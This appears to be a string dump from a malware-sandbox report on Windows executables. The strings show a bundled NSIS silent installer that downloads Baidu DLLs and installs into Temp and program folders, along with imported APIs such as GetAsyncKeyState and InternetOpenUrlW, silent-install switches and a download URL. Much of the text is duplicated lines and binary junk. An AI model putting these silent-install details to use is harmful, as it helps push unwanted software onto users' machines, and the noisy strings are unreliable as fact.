CMDEXTVERSION conditional is never true when Command Extensions are
%%CMDCMDLINE%% will expand into the original command line passed to
%%CMDCMDLINE%% will expand into the original command line passed to
CMD.EXE prior to any processing by CMD.EXE, provided that there is not
CMD.EXE prior to any processing by CMD.EXE, provided that there is not
already an environment variable with the name CMDCMDLINE, in which case
already an environment variable with the name CMDCMDLINE, in which case
%%CMDEXTVERSION%% will expand into a string representation of the
%%CMDEXTVERSION%% will expand into a string representation of the
current value of CMDEXTVERSION, provided that there is not already
current value of CMDEXTVERSION, provided that there is not already
an environment variable with the name CMDEXTVERSION, in which case you
an environment variable with the name CMDEXTVERSION, in which case you
under Windows XP, as command line editing is always enabled.
under Windows XP, as command line editing is always enabled.
CMD.EXE was started with the above path as the current directory.
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.
UNC paths are not supported. Defaulting to Windows directory.
CMD does not support UNC paths as current directories.
CMD does not support UNC paths as current directories.
UNC paths not supported for current directory. Using
UNC paths not supported for current directory. Using
to create temporary drive letter to support UNC current
to create temporary drive letter to support UNC current
Missing operand.
Missing operand.
Missing operator.
Missing operator.
The COMSPEC environment variable does not point to CMD.EXE.
The COMSPEC environment variable does not point to CMD.EXE.
The FAT File System only support Last Write Times
The FAT File System only support Last Write Times
of a batch script is reached, an implied ENDLOCAL is executed for any
of a batch script is reached, an implied ENDLOCAL is executed for any
application execution.
application execution.
The switch /Y may be present in the COPYCMD environment variable.
The switch /Y may be present in the COPYCMD environment variable.
to prompt on overwrites unless MOVE command is being executed from
to prompt on overwrites unless MOVE command is being executed from
when CMD.EXE started. This value either comes from the current console
when CMD.EXE started. This value either comes from the current console
The COLOR command sets ERRORLEVEL to 1 if an attempt is made to execute
The COLOR command sets ERRORLEVEL to 1 if an attempt is made to execute
llxicxn.exe_1516:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
mscoree.dll
mscoree.dll
.mixcrt
.mixcrt
KERNEL32.DLL
KERNEL32.DLL
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
kernel32.dll
kernel32.dll
operator
operator
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx
ERROR: %s
ERROR: %s
%s %s s
%s %s s
decoder doesn't support this archive
decoder doesn't support this archive
ERROR #%d
ERROR #%d
GetBDMMiniDownloadReportRecord
GetBDMMiniDownloadReportRecord
e:\XBUILD\bdkv_qgj_bind\Basic\Tools\NSIS\Plugins\bind.pdb
e:\XBUILD\bdkv_qgj_bind\Basic\Tools\NSIS\Plugins\bind.pdb
HttpQueryInfoW
HttpQueryInfoW
InternetOpenUrlW
InternetOpenUrlW
WININET.dll
WININET.dll
GetWindowsDirectoryW
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
GetSystemWindowsDirectoryW
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
RegOpenKeyExW
RegOpenKeyExW
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteExW
ShellExecuteExW
SHELL32.dll
SHELL32.dll
SHLWAPI.dll
SHLWAPI.dll
GetProcessHeap
GetProcessHeap
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
zcÁ
zcÁ
.?AVShareMemoryPipe@common_sharememory@@
.?AVShareMemoryPipe@common_sharememory@@
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\llxicxn.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\llxicxn.exe
.iS%tzO
.iS%tzO
y]~%X;|
y]~%X;|
&hX.lv
&hX.lv
w_B.aA
w_B.aA
.Qv:w
.Qv:w
/%x64o
/%x64o
w:\8]
w:\8]
,\.HU,f
,\.HU,f
V%SVP$U
V%SVP$U
u$!Ý
u$!Ý
x.JCh
x.JCh
TFtp
TFtp
n.Pi&q
n.Pi&q
a%X\o
a%X\o
.XD%-
.XD%-
eP%s"
eP%s"
"d.ct
"d.ct
-W}fhA
-W}fhA
q8.Uz}
q8.Uz}
:r.wf
:r.wf
a%3X(bi
a%3X(bi
.tZ>W
.tZ>W
#.hGz
#.hGz
.WA.0/
.WA.0/
f=msG
f=msG
0v-r}
0v-r}
S:|%ftc
S:|%ftc
ZKJ.zrW
ZKJ.zrW
'.EGu0
'.EGu0
".cWy
".cWy
{]Q%c
{]Q%c
'f.ehx/
'f.ehx/
}X?%U
}X?%U
d%.xT
d%.xT
>INMm(/.Zj
>INMm(/.Zj
%s-%d
%s-%d
%s-MUTEX-EVENT-%d
%s-MUTEX-EVENT-%d
%s-ENABLE-READ-EVENT-%d
%s-ENABLE-READ-EVENT-%d
%s-ENABLE-WRITE-EVENT-%d
%s-ENABLE-WRITE-EVENT-%d
%s-EMPTY-EVENT-%d
%s-EMPTY-EVENT-%d
%s-PAIR-CONNECT-EVENT-%d
%s-PAIR-CONNECT-EVENT-%d
\BDLogicUtils.dll
\BDLogicUtils.dll
BDLogicUtils_url
BDLogicUtils_url
\BDMReport.dll
\BDMReport.dll
BDMReport_url
BDMReport_url
\BDMNet.dll
\BDMNet.dll
BDMNet_url
BDMNet_url
down_url
down_url
\BDMNetGetInfo.dll
\BDMNetGetInfo.dll
p.x.baidu.com
p.x.baidu.com
\BDMDownload.dll
\BDMDownload.dll
http://dl1sw.baidu.com/client/dllqq/BDLogicUtils.dll
http://dl1sw.baidu.com/client/dllqq/BDLogicUtils.dll
/supplyid=%d /installmode=2 /startmain=1 /silent=1 /D=%s
/supplyid=%d /installmode=2 /startmain=1 /silent=1 /D=%s
/supplyid=%d /installmode=2 /startmain=1 /S /D=%s
/supplyid=%d /installmode=2 /startmain=1 /S /D=%s
\hu.dll
\hu.dll
zmhb.exe_464:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
@.reloc
@.reloc
RegDeleteKeyExW
RegDeleteKeyExW
Kernel32.DLL
Kernel32.DLL
PSAPI.DLL
PSAPI.DLL
%s=%s
%s=%s
GetWindowsDirectoryW
GetWindowsDirectoryW
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
GetAsyncKeyState
GetAsyncKeyState
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationW
SHFileOperationW
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
RegDeleteKeyW
RegDeleteKeyW
RegCloseKey
RegCloseKey
RegEnumKeyW
RegEnumKeyW
RegOpenKeyExW
RegOpenKeyExW
RegCreateKeyExW
RegCreateKeyExW
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
:.Vb:xHq1a
:.Vb:xHq1a
jrH%x}
jrH%x}
%su'}
%su'}
RegOpenKeyExA
RegOpenKeyExA
MSVCP100.dll
MSVCP100.dll
MSVCR100.dll
MSVCR100.dll
_malloc_crt
_malloc_crt
_amsg_exit
_amsg_exit
_crt_debugger_hook
_crt_debugger_hook
GetProcessHeap
GetProcessHeap
YHOprtc.dll
YHOprtc.dll
<assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="ProtocollerYahoo.dll" type="win32" />
<assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="ProtocollerYahoo.dll" type="win32" />
name="Microsoft.Windows.Common-Controls"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
publicKeyToken="6595b64144ccf1df"
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="ProtocollerYahoo.dll" type="win32"></assemblyIdentity><description>Protocoller Yahoo</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo></assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="ProtocollerYahoo.dll" type="win32"></assemblyIdentity><description>Protocoller Yahoo</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo></assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
"http://crl.verisign.com/tss-ca.crl0
"http://crl.verisign.com/tss-ca.crl0
http://ocsp.verisign.com0
http://ocsp.verisign.com0
Thawte Certification1
Thawte Certification1
0http://crl.verisign.com/ThawteTimestampingCA.crl0
0http://crl.verisign.com/ThawteTimestampingCA.crl0
.Class 3 Public Primary Certification Authority0
.Class 3 Public Primary Certification Authority0
<VeriSign Class 3="3" Public Primary Certification Authority - G50><pre>http://crl.verisign.com/pca3.crl0</pre><pre>https://www.verisign.com/cps0</pre><pre>#http://logo.verisign.com/vslogo.gif04</pre><pre>http://ocsp.verisign.com0></pre><pre>Dhttp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0</pre><pre>n.aAHu</pre><pre>2Terms of use at https://www.verisign.com/rpa (c)101.0,</pre><pre>/http://csc3-2010-crl.verisign.com/CSC3-2010.crl0D</pre><pre>https://www.verisign.com/rpa0</pre><pre>http://ocsp.verisign.com0;</pre><pre>/http://csc3-2010-aia.verisign.com/CSC3-2010.cer0</pre><pre>https://www.verisign.com/cps0*</pre><pre>#http://crl.verisign.com/pca3-g5.crl04</pre><pre><meta http-equiv="content-type" content="text/html;charset=utf-8" /></pre><pre><title>Web-monitor</title></pre><pre>.nobr{white-space:nowrap}</pre><pre>.rel{position:relative}</pre><pre>.abs{position:absolute}</pre><pre>.fl{float:left}</pre><pre>.fr{float:right}</pre><pre>.cl{clear:both}</pre><pre>big,.big{font-size:125%}</pre><pre>small,.small{font-size:95%}</pre><pre>.micro{color:#DDD;font:normal 9px tahoma}</pre><pre><h1>Web-monitor</h1></pre><pre>The requested URL could not be retrieved<br /><br /></pre><pre><b>While trying to retrieve the URL:</b> <br /><br /></pre><pre>%URL%<br /></pre><pre><br />The requested object is INFECTED with the following viruses: <a href="http://www.viruslist.com/en/search?VN=%VIRUSNAME%">%VIRUSNAME%</a><br /></pre><pre>ÚTE%<br /></pre><pre>Web-monitor<br /></pre><pre><meta http-equiv="content-type" content="text/html;charset=utf-8" /></pre><pre><style type="text/css">html,body{height:100%} body{width:100%;min-height:100%;margin:0;padding:0;color:#2C2C2C;font:normal 11px tahoma;background:#FFF} form{margin:0} table,input,select{font:normal 100% tahoma} img{border:0;margin:0} table{border-collapse:collapse} a{color:#62707D} .t,tr.t td{vertical-align:top} .m{vertical-align:middle} .b,tr.b td{vertical-align:bottom} tr.t td td,tr.b td td{vertical-align:auto} .l{text-align:left} .c{text-align:center} .r{text-align:right} .nobr{white-space:nowrap} .rel{position:relative} .abs{position:absolute} .fl{float:left} .fr{float:right} .cl{clear:both} .w100{width:100%} .h100{height:100%} big,.big{font-size:125%} small,.small{font-size:95%} .micro{color:#DDD;font:normal 9px tahoma} h1{font:bold 20px arial; margin:0} h4{font:bold 12px arial; margin:0} p{text-align:justify;line-height:1.3;margin:0 0 0.5em 0} .z{border:1px solid red} .h1px{height:1px;font-size:1px;line-height:1px} ul{margin:6px 0 6px 20px;padding:0} ul li{margin:3px 0}</style></pre><pre><div style="background:#F7F7F7;padding:20px 28px 36px">The requested URL cannot be provided<br /><br /> <b>URL:</b><br /><br /> %URL%<br /><br /> <b>Blocked by Web Anti-Virus</b><br /><br /> Reason: malicious link</div></pre><pre><div style="background:#E9E9E9;padding:12px 30px 14px"><b>Message generated:</b> ÚTE%<br /></div></pre><pre>%%%FGGG</pre><pre>CCC.CCCFCCC]CCCrCCC</pre><pre><?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.46.5-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly></pre><pre>logging set to %d</pre><pre>settings logging to %d</pre><pre>created uninstaller: %d, "%s"</pre><pre>WriteReg: error creating key "%s\%s"</pre><pre>WriteReg: error writing into "%s\%s" "%s"</pre><pre>WriteRegBin: "%s\%s" "%s"="%s"</pre><pre>WriteRegDWORD: "%s\%s" "%s"="0xx"</pre><pre>WriteRegExpandStr: "%s\%s" "%s"="%s"</pre><pre>WriteRegStr: "%s\%s" "%s"="%s"</pre><pre>DeleteRegKey: "%s\%s"</pre><pre>DeleteRegValue: "%s\%s" "%s"</pre><pre>WriteINIStr: wrote [%s] %s=%s in %s</pre><pre>CopyFiles "%s"->"%s"</pre><pre>CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d</pre><pre>Error registering DLL: Could not load %s</pre><pre>Error registering DLL: %s not found in %s</pre><pre>GetTTFFontName(%s) returned %s</pre><pre>GetTTFVersionString(%s) returned %s</pre><pre>Exec: failed createprocess ("%s")</pre><pre>Exec: success ("%s")</pre><pre>Exec: command="%s"</pre><pre>ExecShell: success ("%s": file:"%s" params:"%s")</pre><pre>ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d</pre><pre>Exch: stack < %d elements</pre><pre>RMDir: "%s"</pre><pre>MessageBox: %d,"%s"</pre><pre>Delete: "%s"</pre><pre>File: wrote %d to "%s"</pre><pre>File: skipped: "%s" (overwriteflag=%d)</pre><pre>File: error creating "%s"</pre><pre>File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"</pre><pre>Rename failed: %s</pre><pre>Rename on reboot: %s</pre><pre>Rename: %s</pre><pre>IfFileExists: file "%s" does not exist, jumping %d</pre><pre>IfFileExists: file "%s" exists, jumping %d</pre><pre>CreateDirectory: "%s" created</pre><pre>CreateDirectory: can't create "%s" - a file already exists</pre><pre>CreateDirectory: can't create "%s" (err=%d)</pre><pre>CreateDirectory: "%s" (%d)</pre><pre>SetFileAttributes: "%s":X</pre><pre>Sleep(%d)</pre><pre>detailprint: %s</pre><pre>Call: %d</pre><pre>Aborting: "%s"</pre><pre>Jump: %d</pre><pre>verifying installer: %d%%</pre><pre>unpacking data: %d%%</pre><pre>... %d%%</pre><pre>http://nsis.sf.net/NSIS_Error</pre><pre>~nsu.tmp</pre><pre>install.log</pre><pre>%u.%u%s%s</pre><pre>Skipping section: "%s"</pre><pre>Section: "%s"</pre><pre>New install of "%s" to "%s"</pre><pre>.DEFAULT\Control Panel\International</pre><pre>Software\Microsoft\Windows\CurrentVersion</pre><pre>*?|<>/":</pre><pre>invalid registry key</pre><pre>HKEY_DYN_DATA</pre><pre>HKEY_CURRENT_CONFIG</pre><pre>HKEY_PERFORMANCE_DATA</pre><pre>HKEY_USERS</pre><pre>HKEY_LOCAL_MACHINE</pre><pre>HKEY_CURRENT_USER</pre><pre>HKEY_CLASSES_ROOT</pre><pre>x%c</pre><pre>RMDir: RemoveDirectory failed("%s")</pre><pre>RMDir: RemoveDirectory on Reboot("%s")</pre><pre>RMDir: RemoveDirectory("%s")</pre><pre>RMDir: RemoveDirectory invalid input("%s")</pre><pre>Delete: DeleteFile failed("%s")</pre><pre>Delete: DeleteFile on Reboot("%s")</pre><pre>Delete: DeleteFile("%s")</pre><pre>%s: failed opening file "%s"</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsb5.tmp\file\*.*</pre><pre>tc.dll</pre><pre>tatus_provider.dll</pre><pre>%Program Files%\Baidu\BaiduSd\1.8.0.1196</pre><pre>tallHelper.dll</pre><pre>: %Program Files%\Baidu\BaiduSd\1.8.0.1196</pre><pre>yhoprtc.dll</pre><pre>\KVInstallHelper.dll</pre><pre>13.3.0.13</pre><pre>YAHOOprtc.DLL</pre><pre>%Documents and Settings%\All Users\Desktop\</pre><pre>CopyFiles "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsb5.tmp\file\*.*"->"%Program Files%\Baidu\BaiduSd\1.8.0.1196"</pre><pre>Helper.dll</pre><pre>1\"%CurrentUserName%"\LOCALS~1\Temp\bw\zmhb.exe"</pre><pre>8.0.1196</pre><pre>"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\bw\zmhb.exe"</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsb5.tmp\file</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\bw</pre><pre>zmhb.exe</pre><pre>CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf3.tmp</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsb5.tmp</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\bw\zmhb.exe</pre><pre>%Documents and Settings%\All Users\Desktop</pre><pre>%Documents and Settings%\All Users\Start Menu\Programs</pre><pre>%Program Files%\Baidu\BaiduSd</pre><pre>%Documents and Settings%\All Users</pre><pre>%Documents and Settings%\All Users\Application Data</pre><pre>1.0.616.70</pre><b>tqomfn_70567.exe_1524:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.ndata</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>RegDeleteKeyExW</pre><pre>Kernel32.DLL</pre><pre>PSAPI.DLL</pre><pre>%s=%s</pre><pre>GetWindowsDirectoryW</pre><pre>KERNEL32.dll</pre><pre>ExitWindowsEx</pre><pre>GetAsyncKeyState</pre><pre>USER32.dll</pre><pre>GDI32.dll</pre><pre>SHFileOperationW</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>RegDeleteKeyW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyW</pre><pre>RegOpenKeyExW</pre><pre>RegCreateKeyExW</pre><pre>ADVAPI32.dll</pre><pre>COMCTL32.dll</pre><pre>ole32.dll</pre><pre>VERSION.dll</pre><pre>0;.QW</pre><pre>R#1n.vCg</pre><pre>v.Ilm</pre><pre>lt.oz</pre><pre>Ps.va</pre><pre>KeyI</pre><pre>UGk%s</pre><pre>%.zAr</pre><pre>Thawte Certification1</pre><pre>http://ocsp.thawte.com0</pre><pre>.http://crl.thawte.com/ThawteTimestampingCA.crl0</pre><pre>http://ts-ocsp.ws.symantec.com07</pre><pre> http://ts-aia.ws.symantec.com/tss-ca-g2.cer0<</pre><pre> http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(</pre><pre>.Class 3 Public Primary Certification Authority0</pre><pre><VeriSign Class 3="3" Public Primary Certification Authority - G50><pre>http://crl.verisign.com/pca3.crl0</pre><pre>https://www.verisign.com/cps0</pre><pre>#http://logo.verisign.com/vslogo.gif04</pre><pre>http://ocsp.verisign.com0></pre><pre>Dhttp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0</pre><pre>n.aAHu</pre><pre>2Terms of use at https://www.verisign.com/rpa (c)101.0,</pre><pre>2Beijing baidu Netcom science and technology co.ltd1>0<</pre><pre>2Beijing baidu Netcom science and technology co.ltd0</pre><pre>/http://csc3-2010-crl.verisign.com/CSC3-2010.crl0D</pre><pre>https://www.verisign.com/rpa0</pre><pre>http://ocsp.verisign.com0;</pre><pre>/http://csc3-2010-aia.verisign.com/CSC3-2010.cer0</pre><pre>https://www.verisign.com/cps0*</pre><pre>#http://crl.verisign.com/pca3-g5.crl04</pre><pre>http://ocsp.verisign.com0</pre><pre>2 2$2(2,20242</pre><pre><?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.46.5-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly></pre><pre>logging set to %d</pre><pre>settings logging to %d</pre><pre>created uninstaller: %d, "%s"</pre><pre>WriteReg: error creating key "%s\%s"</pre><pre>WriteReg: error writing into "%s\%s" "%s"</pre><pre>WriteRegBin: "%s\%s" "%s"="%s"</pre><pre>WriteRegDWORD: "%s\%s" "%s"="0xx"</pre><pre>WriteRegExpandStr: "%s\%s" "%s"="%s"</pre><pre>WriteRegStr: "%s\%s" "%s"="%s"</pre><pre>DeleteRegKey: "%s\%s"</pre><pre>DeleteRegValue: "%s\%s" "%s"</pre><pre>WriteINIStr: wrote [%s] %s=%s in %s</pre><pre>CopyFiles "%s"->"%s"</pre><pre>CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d</pre><pre>Error registering DLL: Could not load %s</pre><pre>Error registering DLL: %s not found in %s</pre><pre>GetTTFFontName(%s) returned %s</pre><pre>GetTTFVersionString(%s) returned %s</pre><pre>Exec: failed createprocess ("%s")</pre><pre>Exec: success ("%s")</pre><pre>Exec: command="%s"</pre><pre>ExecShell: success ("%s": file:"%s" params:"%s")</pre><pre>ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d</pre><pre>Exch: stack < %d elements</pre><pre>RMDir: "%s"</pre><pre>MessageBox: %d,"%s"</pre><pre>Delete: "%s"</pre><pre>File: wrote %d to "%s"</pre><pre>File: skipped: "%s" (overwriteflag=%d)</pre><pre>File: error creating "%s"</pre><pre>File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"</pre><pre>Rename failed: %s</pre><pre>Rename on reboot: %s</pre><pre>Rename: %s</pre><pre>IfFileExists: file "%s" does not exist, jumping %d</pre><pre>IfFileExists: file "%s" exists, jumping %d</pre><pre>CreateDirectory: "%s" created</pre><pre>CreateDirectory: can't create "%s" - a file already exists</pre><pre>CreateDirectory: can't create "%s" (err=%d)</pre><pre>CreateDirectory: "%s" (%d)</pre><pre>SetFileAttributes: "%s":X</pre><pre>Sleep(%d)</pre><pre>detailprint: %s</pre><pre>Call: %d</pre><pre>Aborting: "%s"</pre><pre>Jump: %d</pre><pre>verifying installer: %d%%</pre><pre>unpacking data: %d%%</pre><pre>... %d%%</pre><pre>http://nsis.sf.net/NSIS_Error</pre><pre>~nsu.tmp</pre><pre>install.log</pre><pre>%u.%u%s%s</pre><pre>Skipping section: "%s"</pre><pre>Section: "%s"</pre><pre>New install of "%s" to "%s"</pre><pre>.DEFAULT\Control Panel\International</pre><pre>Software\Microsoft\Windows\CurrentVersion</pre><pre>*?|<>/":</pre><pre>invalid registry key</pre><pre>HKEY_DYN_DATA</pre><pre>HKEY_CURRENT_CONFIG</pre><pre>HKEY_PERFORMANCE_DATA</pre><pre>HKEY_USERS</pre><pre>HKEY_LOCAL_MACHINE</pre><pre>HKEY_CURRENT_USER</pre><pre>HKEY_CLASSES_ROOT</pre><pre>x%c</pre><pre>RMDir: RemoveDirectory failed("%s")</pre><pre>RMDir: RemoveDirectory on Reboot("%s")</pre><pre>RMDir: RemoveDirectory("%s")</pre><pre>RMDir: RemoveDirectory invalid input("%s")</pre><pre>Delete: DeleteFile failed("%s")</pre><pre>Delete: DeleteFile on Reboot("%s")</pre><pre>Delete: DeleteFile("%s")</pre><pre>%s: failed opening file "%s"</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp8.tmp\tmpr0ycoc.dll</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp8.tmp</pre><pre>0567.exe"</pre><pre>Nullsoft Install System v2.46.5-Unicode</pre><pre>nsp8.tmp</pre><pre>File: overwriteflag=1, allowskipfilesflag=2, name="C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp8.tmp\tmpr0ycoc.dll"</pre><pre>:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\tqomfn_70567.exe"</pre><pre>"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\tqomfn_70567.exe"</pre><pre>%Program Files%\Baidu\BaiduAn</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp</pre><pre>tqomfn_70567.exe</pre><pre>CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz6.tmp</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\tqomfn_70567.exe</pre><pre>1107952069</pre><pre>1.0.101.905</pre></pre></VeriSign></pre></pre></VeriSign>